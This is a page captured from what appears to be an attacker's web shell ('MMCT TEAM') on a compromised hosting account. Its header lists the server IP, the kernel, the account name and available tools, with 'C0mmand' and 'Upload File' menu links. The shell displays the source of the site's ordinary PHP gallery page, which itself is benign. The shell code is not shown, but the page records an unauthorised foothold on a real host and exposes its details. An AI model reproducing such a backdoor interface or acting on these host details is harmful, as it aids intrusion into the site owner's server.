MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.15.214.185
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/ppcad7no/adowoods.com/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/adowoods.com/gallery-category.php
<?php include 'header.php' ;?>
<section class="breadcrumbs breadcrumbs2 gallery wow fadeInDown" data-wow-duration="0.25s" data-wow-delay="0.45s">
<div class="boxedeb">
<div class="container page-block-small">
<div class="col-md-12 col-sm-12 col-xs-12">
<h1>Gallery</h1>
<span class="line"></span>
<div class="rightText">
<a href="<?=$site_url?>/index.html" title="Home">Home</a> / Gallery
</div>
</div>
</div>
</div>
</section>
<section class="project-gallery page-block-large">
<div class="container">
<div class="filter-button-group button-group text-center">
<button class="btn btn-dark active" data-filter="*">All</button>
<?php 
$cate_list=db_query("SELECT * FROM tbl_category where category_status='Active'");
if(mysqli_num_rows($cate_list)>0){
	while($cate=mysqli_fetch_array($cate_list)){
	?>
<button class="btn btn-dark" data-filter=".<?=$cate['category_url']?>"><?=$cate['category_name']?></button>
	<?php }}?>
</div>
<div class="grid four">
<?php 
$cate_list1=db_query("SELECT  ct.category_url,ct.category_name, cti.category_image_name, cti.category_image_name FROM tbl_category as ct INNER JOIN tbl_category_image as cti ON ct.category_id=cti.category_image_cat_id");
if(mysqli_num_rows($cate_list1)>0){
	while($cate1=mysqli_fetch_array($cate_list1)){
		$main_cate=$cate1['category_id'];
		$sub_cate=$cate1['category_image_cat_id'];
	?>
<div class="item <?=$cate1['category_url']?>">
<img class="img-responsive" src="<?=$site_url?>/category_more_images/<?=$cate1['category_image_name']?>" alt=""  style="width: 100%; height: 240px;"/>
<div class="overlay">
<a class="zoom" href="<?=$site_url?>/category_more_images/<?=$cate1['category_image_name']?>" data-rel="prettyPhoto[gallery1]" title="<?=$cate1['category_name']?>"><i class="fa fa-search-plus square"></i></a>
</div>
</div>
<?php }}?>

</div>
</div>
</section>
<?php include 'footer.php' ;?>

MMCT - 2023